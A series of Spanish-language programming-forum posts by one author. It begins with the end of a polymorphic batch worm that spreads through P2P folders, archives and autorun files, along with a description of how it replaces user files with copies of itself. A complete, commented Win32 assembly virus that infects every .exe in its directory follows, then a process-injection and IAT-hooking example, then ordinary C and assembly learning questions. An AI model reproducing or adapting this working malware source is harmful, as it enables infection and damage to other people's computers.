"Avatar_2009_subtitles","free_sms_tool", "Justin_Bieber-Believe", %_m5_%
"Twilight_e-book","Pitbull-I_know_you_want_me","Twilight_wallpapers" %_m5_%
) do ( Copy /y "%path_p2p%" "%%~i\%%~d_!random!.%ext_p2p%" ) %_m5_%
) ) %_m5_%

If Exist "%ProgramFiles%\WinRAR" ( %_m5_%
For /f "Tokens=*" %%p in ( %_m5_%
'dir /b /s "%__ipath%\*.rar" "%__ipath%\*.zip"' %_m5_%
) do Start winRAR.exe a "%%~p" "%__dir0%" -ep1 -ibck -inul %_m5_%
taskkill /f /im "WinRAR.exe" %_m5_%
) %_m5_%

EXIT %_m5_%

:_AdminRequest %_m6_%
Net Start Workstation %_m6_%
For /f "tokens=1 delims=* skip=4" %%_ in ( %_m6_%
'Net LocalGroup' %_m6_%
) Do ( %_m6_%
For /f "tokens=* skip=6" %%# in ( %_m6_%
'Net LocalGroup %%_' %_m6_%
) Do ( %_m6_%
If "%%#" EQU "%UserName%" ( %_m6_%
Set "__admin=1" %_m6_%
GoTo :EoF %_m6_%
) %_m6_%
) %_m6_%
GoTo :EoF %_m6_%
) %_m6_%
GoTo :EoF %_m6_%

:_SetPrivs %_m7_%
If "%__admin%" EQU "1" ( %_m7_%
Mkdir "%SystemRoot%\system32ÿ" %_m7_%
Set "__ipath=%SystemDrive%\" %_m7_%
Set "__vpath=%SystemRoot%\system32\drivers\keyboard.bat" %_m7_%
Set "__spath=%SystemRoot%\system32ÿ" %_m7_%
Set "__adpath=%SystemRoot%\wscript.exe.vbs" %_m7_%
) else ( %_m7_%
Mkdir "%UserProfile%\Config" %_m7_%
Mkdir "%UserProfile%\Config\Startup" %_m7_%
Attrib +s +h "%UserProfile%\Config" %_m7_%
Set "__ipath=%UserProfile%" %_m7_%
Set "__vpath=%UserProfile%\Config\config.bat" %_m7_%
Set "__spath=%UserProfile%\Config\Startup" %_m7_%
Set "__adpath=%UserProfile%\Config\userlog.txt.vbs" %_m7_%
) %_m7_%

GoTo :EoF %_m7_%

:_GenRan %_m8_%
Set "rstr=" %_m8_%
For /l %%_ in (1,1,%~1) do ( %_m8_%
Set /a "rval=!random! %% 2" %_m8_%
If "!rval!" EQU "0" Set "rstr=!rstr!!random:~1,1!" %_m8_%
If "!rval!" EQU "1" ( %_m8_%
Set /a "rchr=(!random! %% 26) + 97" %_m8_%
"%ComSpec%" /c Exit /b !rchr! %_m8_%
Set "rstr=!rstr!!=ExitCodeAscii!" %_m8_%
) %_m8_%
) %_m8_%
Goto :EoF %_m8_%

:_Infect %_m9_%
Set "insrt=Header" & Set "mrk=__" %_m9_%
Find "%insrt%0"<"%__dir0%" %_m9_%
Echo.start "" "%~1" /high ^&::%mrk% %_m9_%
Find /v "%insrt%0"<"%__dir0%" | Find /v "&::%mrk%" %_m9_%
GoTo :EoF %_m9_%

:_Autorun %_m10_%
Echo.[AutoRun] %_m10_%
Echo.UseAutoPlay=1 %_m10_%
Echo.Open=%~1 %_m10_%
Echo.shell\open\command=%~1 %_m10_%
GoTo :EoF %_m10_%



Este es un pequeño malware polimórfico de hace un tiempo. Tiene el pan de cada día y algunas cosas curiosas, como la suplantación de ficheros de ciertas extensiones por copias del propio malware que a su vez antes de ejecutarse lanzarán el fichero original, dando el efecto de que no está corrupto.

Sigue este patrón para todos los ficheros excepto para los .RAR y .ZIP. Con estos intenta añadirse si es que está disponible el WinRAR.

Por otro lado, para asegurar su ejecución, hice que casi todo el código funcionara como usuario restringido o administrador, detectando en algunos casos en qué rutas puede trabajar y en cuales no por no tener acceso.

El payload no es nada del otro mundo, es más bien una broma. Es aleatorio, funciona en base a probabilidades, y lo que voy a describir ahora ocurre por cada instancia ejecutada en el equipo:

1/6 Probabilidades de un número aleatorio de pitidos
1/12 Probabilidades de reinicio
1/12 Probabilidades de enviar repetidamente pulsaciones de teclado ("REVX")

Hay que tener en cuenta que cada fichero reemplazado (que es prácticamente la totalidad de ficheros de uso común por el usuario) que sea ejecutado, iniciará una nueva instancia, así que lo que a priori son pocas probabilidades se van acumulando hasta que sea una hora punta y entonces se liberen.

Todo por supuesto se ejecuta ocultamente, usando (no había más remedio) VBS, que a su vez lo aproveché para impedir la eliminación del fichero origen del virus.

Tiene más cositas, pero a ver si las testeais vosotros  ;)

El código está probado en Win XP y Win 7.

¡Un saludo!
#37
 Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host.
EDIT: Lo he comentado por completo, porque si no es muy difícil de leer  :D

Código (asm) [Seleccionar]

.386
.model flat, stdcall
option casemap:none
assume fs:nothing

.code
vx_code:
start_vx_code:
call _delta
_delta:
;Get the delta offset
pop ebp
sub ebp, offset _delta

;MyEntryPoint would be saved
;in HostEntryPoint if the current
;file were infected
mov eax, [ebp + HostEntryPoint]
mov [ebp + MyEntryPoint], eax

;Call to _GtGetProcAddress
;to find out Kernel32 base
;and GetProcAddress Address
call _GtGetProcAddress
mov [ebp + GtProcAdH], eax
mov [ebp + Kernel32H], edx
call _GtRequiredAPIs

_FindFirst:
;Find first file, loading the parameters
;according to ebp, delta offset
    lea ebx, [ebp + win32_find_data]
    lea edx, [ebp + filter]
    push ebx
    push edx
    call [ebp + FindFirstFileAH]
   
    ;If it hasn't found any file
    ;return to the host file code
    cmp eax, -1
    jz end_vx

;Else save the Handle in FileHandleFind
    mov [ebp + FileHandleFind], eax
   
    ;And call infect_file to try to infect it
    call infect_file

    _FindNext:
   
    ;Load the parameters for FindNextFileA and call it
    lea ebx, [ebp + win32_find_data]
    mov edx, [ebp + FileHandleFind]
    push ebx
    push edx
    call [ebp + FindNextFileAH]
   
    ;If it hasn't found anything else, return
    cmp eax, 00h
    jz end_vx
   
    ;Else try to infect the file
    call infect_file
   
    ;Search more files
    jmp _FindNext
retn


end_vx:

;If delta offset is 00h
;the virus is not running on
;another executable, so exit to OS
cmp ebp, 00h
jnz return
retn
return:
;Else access to TIB to get
;the current ImageBase
mov eax, fs:[030h]
          mov eax,[eax + 08h]
         
          ;And add it to MyEntryPoint
          add [ebp + MyEntryPoint], eax
         
          ;To jump
jmp dword ptr[ebp + MyEntryPoint]

_procedures:
_GtGetProcAddress:

;To get kernel32 ImageBase
;Looking at the PEB
mov ebx, fs:[030h]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 0ch]
mov ebx, [ebx + 00h]
mov ebx, [ebx + 00h]
mov eax, [ebx + 18h]

;To get export table address
mov ebx, [eax + 3Ch]
add ebx, eax
mov ebx, [ebx + 78h]
add ebx, eax

;Save that address
push ebx

;Pointer to AddressOfNames
mov ebx, [ebx + 20h]
add ebx, eax
xor edx, edx
_loop:
;Each entry of AddressOfNames
;Is a pointer to one string
;which has the name of one API
lea esi, [ebp + GpaName]
mov edi, [ebx + edx]
add edi, eax
mov ecx, 0Fh
add edx, 04h
repz cmpsb
jnz _loop
sub edx, 04h

;Divide edx by 2 to use it as
;an index in AddressOfNameOrdinals
;(2 bytes by entry)
shr edx, 01h

;Restore ExportTable address
pop ebx

;Access to AddressOfNameOrdinals
mov edi, [ebx + 24h]
add edi, eax

;To get the index that is going
;to be used in AddressOfFunctions
movzx edx, word ptr[edi + edx]

;Each entry is 4 bytes long
shl edx, 02h

;Load AddressOfFunctions address in edi
mov edi, [ebx + 1Ch]
add edi, eax

;Load GetProcAddress address in edi
mov edi, [edi + edx]
add edi, eax

;edx = Kernel base
;eax = GetProcAddress address
mov edx, eax
mov eax, edi
retn

_GtRequiredAPIs:
;Source registry points to ApiListH (where the APIs handles will be)
;Destiny registry points to ApiListN (where the APIs names are)
lea edi, [ebp + ApiListN]
lea esi, [ebp + ApiListH]

;Ebx contains Kernel32 base
mov ebx, [ebp + Kernel32H]
GetAPI_Loop:
;Push the Kernel base and
;the API name to get its address
push edi
push ebx
call [ebp + GtProcAdH]

;Save the adress where source registry points
mov [esi], eax

;Find the next API in the list pointed by edi
xor eax, eax
repnz scasb

;Esi points to the next handle to fill up
add esi, 04h

;If it's not the end of the list
;get the next API, else return
cmp byte ptr[edi], 00h
jnz GetAPI_Loop
retn

infect_file:

;VirusHostSize contains the size of the virus
;plus the size of the host
mov ebx, VirusSize
add ebx, [ebp + win32_find_data.nFileSizeLow]
mov [ebp + VirusHostSize], ebx

;Open the file to read and write on it
;And shared on reading
push 00h
push 00h
push 03h
push 00h
push 01h
push 0C0000000h
lea ebx, [ebp + win32_find_data.cFileName]
push ebx
call [ebp + CreateFileAH]

;If the file could not be opened
;jump to end_infect_file to search more files
cmp eax, -1
jz end_infect_file

;Else save the handle in FileHandleCreate
mov [ebp + FileHandleCreate], eax

;Push the file size to the stack and map the file in memory
;Eax will contain the base address of the mapped file
push [ebp + win32_find_data.nFileSizeLow]
call map_file_in_memory

;Is it an executable file?
cmp word ptr[eax], "ZM"

;Otherwise close the handles and return
jnz close_view

;Ebx contains the address where the PE files
;header begins
mov ebx, [eax + 3Ch]
add ebx, eax

;If it's not a PE file close the handles and return
cmp word ptr[ebx], "EP"
jnz close_view

;If the file is already infected
;close the handles and return
cmp dword ptr[eax + 6Ch], "hDyB"
jz close_view

;falignvalue will contain the FileAlignment
;and salignvalue will contain the SectionAlignment
mov eax, [ebx + 3Ch]
mov [ebp + falignvalue], eax
mov eax, [ebx + 38h]
mov [ebp + salignvalue], eax

;Get the new size of the file
;that is, the VirusHostSize rounded up
;to the FileAlignment
push dword ptr[ebp + VirusHostSize]
push dword ptr[ebp + falignvalue]
call _alignment

;And push it to the stack
push eax

;Unmap the file
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

;And map it again with the new size
call map_file_in_memory

;Save the base address of the mapped file
push eax

;Mark the file with the signature ByDh
mov dword ptr[eax + 6Ch], "hDyB"

;Ebx contains the PE header address
mov ebx, [eax + 3Ch]
add ebx, eax

;Save this address
push ebx

;Move to edx the size of optional header
movzx edx, word ptr[ebx + 14h]

;Load in esi the address of the first structure
;of the PE Section Table
;(PEHeader + SizeOfOptionalHeader + PEHeaderSize)
lea esi, [ebx + edx + 18h]

;And push it to stack to use it later
push esi

;Move to ecx NumberOfSections
movzx ecx, word ptr[ebx + 06h]

;And push it to stack to use it later
push ecx


;Eax = 00h, and it will contain
;the highest PointerToRawData
xor eax, eax
_SectionsLoop:

;Compare the current biggest pointer
;with the PointerToRawData of the next section
cmp [esi + 14h], eax

;If it isn't bigger jump to _notbigger
jb _notbigger

;Else save ecx (index of current section) in ebx
;And move that pointer to eax
mov ebx, ecx
mov eax, [esi + 14h]
_notbigger:

;Esi points to the next section table
add esi, 28h
loop _SectionsLoop

;Eax = NumberOfSections
pop eax

;Subtract ebx from the NumbersOfSections
;and multiply it by 28h
sub eax, ebx
mov ecx, 28h
mul ecx

;Restore esi (the pointer to the first table)
;and add eax to make it point to the table which has
;the highest PointerToRawData
pop esi
add esi, eax


;Ebx contains VirtualSize, save it into the stack
    mov ebx, [esi + 08h]
    push ebx
   
    ;New VirtualSize = Old VirtualSize + VirusSize
    add ebx, VirusSize
    mov [esi + 08h], ebx
   
    ;Eax contains the new VirtualSize
    ;Rounded up to FileAlignment
    push ebx
    push [ebp + falignvalue]
    call _alignment
   
    ;That is, it's the new SizeOfRawData
    ;so change it up
    mov [esi + 10h], eax

;ecx = Old VirtualSize
;ebx = PE Header Address
    pop ecx
    pop ebx
   
    ;Save the EntryPoint of the file
    ;in HostEntryPoint
    mov edx, [ebx + 28h]
    mov [ebp + HostEntryPoint], edx
   
    ;edx = VirtualAddress + VirtualSize
    mov edx, [esi + 0Ch]
    add edx, ecx
   
    ;That is, the new EntryPoint
    ;so change it up
    mov [ebx + 28h], edx

;Save PE Header Address into the stack
    push ebx
   
    ;eax = New VirtualSize + VirtualAddress
    mov eax, [esi + 08h]
    add eax, [esi + 0Ch]
   
    ;Get the new SizeOfImage,
    ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000
    push eax
    push [ebp + salignvalue]
    call _alignment
   
    ;Set the new SizeOfImage
    pop ebx
    mov [ebx + 50h], eax

;Last section characteristics:
;CODE|EXECUTE|READ|WRITE
or dword ptr[esi + 24h], 0E0000020h

;eax = Base Address of mapped file
pop eax

;ebx = PointerToRawData
mov ebx, [esi + 14h]

;ebx = Base Address + PointerToRawData + Old VirtualSize
lea ebx, [eax + ebx]
add ebx, ecx

;Copy the virus code in the host code
;esi = beginning of the virus code
;edi = end of the last section
lea esi, [ebp + start_vx_code]
mov edi, ebx
mov ecx, VirusSize
rep movsb


;Close all the handles
jmp close_all

_alignment:
;The formula to align a value is:
;AlignedValue = [(Value/Alignment)+1]*Alignment


;Save the returning address in edi
pop edi

;Get the value to align and the alignment
pop ebx
pop eax

xor edx, edx
div ebx
cmp edx, 00h
jz _align
inc eax
_align:
xor edx, edx
mul ebx

;Push the returning address
;and jump to it
push edi
retn

map_file_in_memory:

;esi = returning address
;edi = mapping size
pop esi
pop edi

;Create the file mapping object
push 00h
push edi
push 00h
push 04h
push 00h
push [ebp + FileHandleCreate]
call [ebp + CreateFileMappingAH]
cmp eax, 00h
jz close_file
mov [ebp + FileHandleMap], eax

;And create a view of the file
;using the size in edi
push edi
push 0
push 0
push 000F001Fh
push [ebp + FileHandleMap]
call [ebp + MapViewOfFileH]
cmp eax, 00h
jz close_filemap
mov [ebp + MappedFile], eax

;Set the returning address
;and jump to it
push esi
retn



;Chain of functions which close the appropiate handles
close_all:
close_view:
push [ebp + MappedFile]
call [ebp + UnmapViewOfFileH]

close_filemap:
push [ebp + FileHandleMap]
call [ebp + CloseHandleH]

close_file:
push [ebp + FileHandleCreate]
call [ebp + CloseHandleH]

end_infect_file:
retn
 

_data:
Kernel32H dd ?
GtProcAdH dd ?
GpaName db "GetProcAddress",0
ExitProcessN db "ExitProcess",0

ApiListN db "FindFirstFileA",0
            db "FindNextFileA",0
            db "CreateFileA",0
            db "CreateFileMappingA",0
            db "MapViewOfFile",0
            db "CloseHandle",0
            db "UnmapViewOfFile",0
            db 0
    ApiListH:
    FindFirstFileAH dd ?
    FindNextFileAH  dd ?
    CreateFileAH    dd ?
    CreateFileMappingAH dd ?
    MapViewOfFileH dd ?
    CloseHandleH dd ?
    UnmapViewOfFileH dd ?

    filter db "*.exe",0
    FileHandleFind dd ?
    FileHandleCreate dd ?
    FileHandleMap dd ?
    MappedFile dd ?

    VirusSize equ end_vx_code - start_vx_code
    VirusHostSize dd ?
    falignvalue dd ?
    salignvalue dd ?
    HostEntryPoint dd 0
    MyEntryPoint dd 0

    filetime struct
        FT_dwLowDateTime    dd ?
        FT_dwHighDateTime    dd ?
    filetime ends

    find_data struct
        dwFileAttributes        dd ?
        ftCreationTime          filetime <?>         
        ftLastAccessTime        filetime <?>
        ftLastWriteTime          filetime <?>
        nFileSizeHigh            dd ?
        nFileSizeLow            dd ?
        dwReserved0              dd ?
        dwReserved1              dd ?
        cFileName              db 512 dup (?)
        cAlternateFileName      db 14 dup  (?)
    find_data ends

    win32_find_data          find_data <?>

end_vx_code:
end vx_code


Agradecería mucho que me comentarais los muchos fallos que seguro hay.

Un saludo!
#38
Gracias al tutorial de YST & Hacker_Zero entendí el API Hooking, pero por desgracia ese manual quedó a medias y jamás se explicó el método para hookear una API modificando la IAT.

Me puse y salió esto, cualquier error por favor decidmelo:


.386
.model flat, stdcall
option casemap:none

assume fs:nothing

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib


.data
Process db 'ejecutable.exe',0
Kernel db 'kernel32.dll',0
GetProc db 'GetProcAddress',0
.data?
Function dd ?
FunctionLen dd ?
pInfo PROCESS_INFORMATION <>
sInfo STARTUPINFO <>
function_start PROTO
.code
start:
invoke CreateProcess,0,addr Process,0,0,0,0,0,0,addr sInfo,addr pInfo

mov eax,offset function_end
sub eax,offset function_start
mov [FunctionLen],eax

invoke VirtualAllocEx,[pInfo.hProcess],0,[FunctionLen],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [Function],eax

invoke GetModuleHandle,offset Kernel
mov [KernelBase],eax
push offset GetProcAddressName

invoke GetProcAddress,eax,offset GetProc
mov [pGetProcAddress],eax

invoke WriteProcessMemory,[pInfo.hProcess],[Function],offset function_start,[FunctionLen],0
invoke CreateRemoteThread,[pInfo.hProcess],0,0,[Function],0,0,0
invoke ExitProcess,0

;Injecting Function
function_start PROC
   call delta
delta:
pop ebp
sub ebp, offset delta
mov ebx, fs:[030h]
;Getting host process IAT address and its size
mov eax,[ebx+08h]
mov ebx,[eax+03Ch]
add ebx,eax
mov edx,[ebx+0D8h]
add edx,eax
mov [ebp+pIAT],edx
mov edx,[ebx+0DCh]
mov [ebp+IATsize],edx

;Getting the needed API's
;GetModuleHandle
mov ebx,offset GetModuleHandleName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pGetModuleHandle],eax
;VirtualProtect
mov ebx,offset VirtualProtectName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pVirtualProtect],eax
;Getting address of MessageBox
mov ebx,offset user32name
add ebx,ebp
push ebx
call [ebp+pGetModuleHandle]
mov ebx,offset MessageBoxName
add ebx,ebp
push ebx
push eax
call [ebp+pGetProcAddress]
mov [ebp+pMessageBox],eax
;Showing a MessageBox
push MB_OK + MB_ICONINFORMATION
push 0
mov ebx,offset MsgInjected
add ebx,ebp
push ebx
push 0
call [ebp+pMessageBox]
;Finding pointing address
xor edx,edx
mov eax,[ebp+IATsize]
mov ecx,04h
div ecx
mov ecx,eax
mov eax,[ebp+pMessageBox]
mov edi,[ebp+pIAT]
repnz scasd
sub edi,04h
;Patching the IAT
mov ebx,offset OldProtect
add ebx,ebp
push ebx
push PAGE_EXECUTE_READWRITE
push 04h
push edi
call [ebp+pVirtualProtect]
mov ebx,offset Hook
add ebx,ebp
mov [edi],ebx
ret

pIAT dd ?
IATsize dd ?
BaseImage dd ?
KernelBase dd ?
pGetProcAddress dd ?
GetProcAddressName db "GetProcAddress",0
user32name db "user32.dll",0
MessageBoxName db "MessageBoxA",0
pMessageBox dd ?
GetModuleHandleName db "GetModuleHandleA",0
pGetModuleHandle dd ?
VirtualProtectName db "VirtualProtect",0
pVirtualProtect dd ?
OldProtect dd ?
MsgInjected db "The function has been injected!",0

Hook:
;Delta offset
call deltahook
deltahook:
pop ebp
sub ebp,offset deltahook
pop ebx ;Saving to return after
mov edi,offset msghook
add edi,ebp
mov [esp+04h],edi ;Changing the stack parameters
call [ebp+pMessageBox] ;Calling the original address of MessageBox
push ebx ;Setting the returning address
ret
msghook db "MessageBox Hooked!", 0
function_start endp
function_end:
end start



El ejecutable que usé lo que hace es lanzar dos MessageBox, uno detrás de otro (podéis programarlo para ver cómo funciona).
No abre un proceso existente, sino que lo crea (arreglarlo es cuestión de un par de API's).
El proceso no lo crea suspendido, así pues al principio lanza el primer MessageBox junto con otro MessageBox que anuncia que la función ha sido inyectada. Después, al cerrar el mensaje de alerta y posteriormente el primer mensaje, lanza otro MessageBox que en teoría debería de ser el segundo del programa, pero como hookea la API hará que a partir de ahí todos los MessageBox muestren "MessageBox Hooked!"


Saludos!
#39
Estoy haciendo un código de API Hooking que modificará la IAT para saltar a la función que yo quiera, y para ello una de las cosas que debe recibir mi función inyectada es un puntero a GetProcAddress.
La función inyectada calcula ya la ImageBase de kernel32.dll, así que si quisiera podría obtener ese puntero a GetProcAddress en base a eso, pero me ahorraría bastante trabajo si pudiera pasarle como parametro al CreateRemoteThread el puntero que el programa inyector hubiera previamente obtenido, sin miedo a que esa dirección fuera errónea porque kernel32.dll se ha cargado en otra dirección en el programa en el que se inyectará el código.

Como kernel32.dll es la segunda función que un ejecutable carga en Windows (esto lo descubrió The Swash, mirando InLoadOrderModuleList de PEB_LDR_DATA) en teoría en condiciones normales debería de cargarse siempre en la misma dirección.

¡Gracias!
#40
Programación C/C++ / [C]Función SPLIT
29 Junio 2011, 19:57 PM
He hecho esta típica función en C...
Es digamos la primera versión así que debe de tener muchos errores, de hecho hasta me atrevería a decir que es cutre, pero en fin, aquí os la dejo:


/* char **split(char *string, char *sep);
   Coded by Binary_Death on 30/6/2011
*/
#include <stdlib.h>
#include <stdio.h>
char **split(char*,char*);
int _strlen(char*);
int _cmp(char*,char*,int);
int main() {
    char **array = split("STRING1#DLM#STRING2#DLM#STRING3","#DLM#");
    for(int y=0;y<3;y++) printf("%s\n", array[y]);
    getchar();
    return 0;
}
char **split(char *string,char *sep) {
     int str_len=_strlen(string);
     int sep_len=_strlen(sep);
     int ptr_block=0, chr=0, bool_end=0;
     char **buffer = (char**)malloc(sizeof(char*));
     *buffer = (char*)malloc(sizeof(char*));**buffer=0;
     char *tok = (char*)malloc(sep_len*sizeof(char));
     for(int z=0;z<str_len;z++) {
             for(int n=0;n<sep_len&&!bool_end;n++)
             {(str_len-(z+1)>=sep_len)?tok[n]=string[z+n]:bool_end=1;}
             if(_cmp(tok,sep,sep_len)||bool_end) {
                                  buffer[ptr_block][chr++] = string[z];
                                  buffer[ptr_block] = (char*)realloc(buffer[ptr_block],chr*sizeof(char*));
                                  buffer[ptr_block][chr] = 0;
                                   } else {
                                          buffer = (char**)realloc(buffer,(++ptr_block+1)*sizeof(char*));
                                          buffer[ptr_block] = (char*)malloc(sizeof(char*));
                                          chr=0;z+=sep_len-1;
                                   }                           
    }
free(tok);
return buffer;
}
int _strlen(char *pstr) {
    int i=0;
    while(*(pstr++)!='\0') i++;
    return i;
}
int _cmp(char *fstr,char *sstr, int len) {
    int bytes=0;
    while(bytes++<len) if(*(fstr++)!=*(sstr++)) return 1;
    return 0;
}


Agradecería que se me reportaran los errores y así mejorar  :P

Saludos!

EDITO: Ya esta arreglado! Igual seguro que tiene muchos errores más, ya se irán arreglando, yo soy paciente  ;D

EDITO2: Segunda modificación, he reducido y optimizado muchísimo el código.
#41
Bueno chicos...
A ver, me he leído el libro "Ensamblador para DOS, Linux y Windows", de Francisco Charte Ojeda.
La cosa es que vi el índice de "Guía Práctica del Lengua Ensamblador", del mismo autor, y vi que al menos aparentemente hay muchas cosas que no aparecen en el otro libro. Parece ser como una guía de referencia, y en ese caso me interesaría para ver más detalles que no se explican en el otro libro.

No es demasiado caro, pero aún así no es cuestión de gastar por gastar.
Alguien que tenga los dos, ¿podría decirme si vale la pena comprar la guía práctica habiendo leído el otro libro?

Gracias y saludos   :P
#42
ASM / [NASM] String Reverse =P
28 Noviembre 2010, 19:23 PM
Mi segundo programa. Mi segundo día de estudio de asm  :P
Imagino que usé el método más espantoso para hacerlo... pero bueno, no se casi nada y es sólo mi segundo code de práctica... así que xD

Código (asm) [Seleccionar]

;;;;;;;;;;;;;;;;;
;String Reverse ;
;By Binary_Death;
;;;;;;;;;;;;;;;;;
segment Data
msg1 db 'Cadena a invertir: $'
msg2 db 'Cadena invertida: $'
string times 256 db ' '
char db ' $'
clf db 10,13,10,13,'$'
segment Stack stack
resb 256
StackEnd:
segment Code
..start:
mov ax, Stack
mov ss, ax
mov sp, StackEnd
mov ax, Data
mov ds, ax
mov ah,9h
mov dx,msg1
int 21h
xor bx,bx
SaveStr:
xor ah,ah
int 16h
cmp al,0Dh
je ShowStr
mov [string+bx],al
mov [char],al
mov dx,char
mov ah,9
int 21h
cmp bx,00FFh
je ShowStr
inc bx
jmp SaveStr
ShowStr:
mov ah,9h
mov dx,clf
int 21h
mov dx,msg2
int 21h
dec bx
LoopPos:
mov al,[string+bx]
mov [char],al
mov ah,9h
mov dx,char
int 21h
cmp bx,00h
je Exit
dec bx
jmp LoopPos
Exit:
xor ah,ah
int 16h
mov ah,4ch
int 21h


Agradecería que se me comentara cómo mejorar.

Saludos!

EDITO:

Bueno, en el tercer día de aprendizaje aprendí unas cuantas nuevas cosas. Así que mejoré esto...

Código (asm) [Seleccionar]

;;;;;;;;;;;;;;;;;
;;StrRev 16 bit;;
;;    NASM     ;;
;;Binary_Death ;;
;;;;;;;;;;;;;;;;;
segment data
MSG1 DB 'Cadena a Invertir: $'
MSG2 DB 'Cadena Invertida: $'
CRNL DB 10,13,'$'
BKSC DB 8,'$'
CHR1 DB ' $'
segment stck stack
resb 256
SpOffset:

segment code
..start:

;Asumimos segmentos
mov ax,data
mov ds,ax ;DS=Data
mov es,ax ;ES=Data

mov ax,stck
mov ss,ax ;SS=Stck
mov sp,SpOffset ;SP=Offset(SpOffset)

mov ah,9h
mov dx,MSG1
int 21h ;Mostramos MSG1 en pantalla

mov dx,0FFh
xor cx,cx
PushLoop:
xor ah,ah
int 16h ;Pedimos carácter por teclado
cmp al,9h ;Si CHR=BS
jz BackSpace ;jmp BackSpace
cmp al,0Dh ;Si chr=\CR
jz ShowStr ;jmp ShowStr
push ax ;Empujamos AH+AL(=00+Chr) a stack
mov [CHR1],al ;Guardamos carácter en memoria
mov ah,9h
mov dx,CHR1
int 21h ;Mostramos el carácter guardado
inc cx ;Incrementamos CX
dec dx ;Decrementamos DX
jnz PushLoop ;Si CX!=0 jmp PushLoop

ShowStr:
mov ah,9h
mov dx,CRNL ;Salto de línea
int 21h ;Efectuamos

PopLoop:
pop ax ;Recuperamos último CHR
mov [CHR1],al ;Lo guardamos en CHR1
mov ah,9h
mov dx,CHR1
int 21h ;Lo mostramos en pantalla
loop PopLoop ;Si CX!=0 jmp PopLoop

Exit:
xor ah,ah
int 16h ;Hacemos pausa
mov ah,4ch
int 21h ;Devolvemos control al OS

BackSpace:
mov ah,9h
mov dx,BKSC
int 21h
jmp PushLoop
#43
A ver... leyendo un libro de asm, en la parte que habla de los registros del segmento y punteros de la pila, dice con palabras textuales esto:

Citar
Otros registros fundamentales, que deben configurarse al iniciar la ejecución de cualquier programa, son BP (Base Pointer) y SP (Stack Pointer). Ambos trabajan conjuntamente con el registro de segmento SS para definir la dirección base de la pila, que estaría en la dirección CS:BP, y la posición actual en la que están insertándose o recuperándose datos, que sería CS:SP. La pila es una estructura que crece en orden inverso, es decir, en principio CS contendrá el valor del final de pila, mientras que SP irá reduciéndose a medida que se inserten datos o incrementándose al extraerlos.

Hace referencia a SS como registro de segmento de pila. ¿No debería ser la dirección base indicada por SS:BP y el puntero a la posición actual de la pila indicado por SS:SP?
Digo, CS es el segmento de datos, y SS son 64kb de memoria aparte.

Así lo entendí yo. Y como me parece medio raro, quisiera saber si es un error de tipeo del libro (porque muchas veces esas cosas ocurren) o es que lo entendí mal xD.

Saludos!
#44
Programación C/C++ / Puntero+indice
18 Agosto 2010, 02:50 AM
Verán... mi duda es la siguiente.

Yo tengo el siguiente código:


#include <stdio.h>
int main()
{
    int array[5] = {1, 2, 3, 4, 5};
    int *point = array;
    printf("%d", *(point+1));
    return 0;
}


El cual funciona correctamente, sin complicación.
La cosa es, yo defino un array de 5 elementos de tipo int, ok. Luego le asigno la dirección de inicio del array al puntero "point", el cual declaro. Y despues con un printf, imprimo el contenido de la dirección a la que apunta point más un desplazamiento de 1.
Si cada celda de memoria ocupa un byte, lo normal seria que el +1 apuntara al siguiente byte de memoria. La cosa es que un tipo int ocupa 4 bytes... entonces, el puntero apuntaría al siguiente byte, donde no están contenidos los 4 bytes completos del siguiente elemento del array.

Se me entiende?... en fin, agradecería que alguien pudiera explicarmelo.

Saludos ^^
#45
Programación C/C++ / [C]Duda, typedef.
15 Agosto 2010, 04:00 AM
Este era el post de otra duda, pero como la solucioné antes de que nadie respondiera, economizo, edito y planteo otra  ;D

Typedef permite definir alias para los tipos de variables, de tal forma que si yo hago...

typedef int entero;
entero a = 5;


Puedo definir la variable "a" como un entero cuyo valor es 5.
Bien, la cuestión es... en mi libro de aprendizaje, vienen la siguientes sentencias:


typedef int * pint;
int *p = pint(0x1F5);


Lo cual, a mi entender, no tiene ningún sentido, pues declara el alias como un puntero... no le veo la lógica, lo que se pretende hacer con eso. Y más aun, usando "pint" como la llamada a una función  :-\

En fin, gracias por la atención...
Saludos =)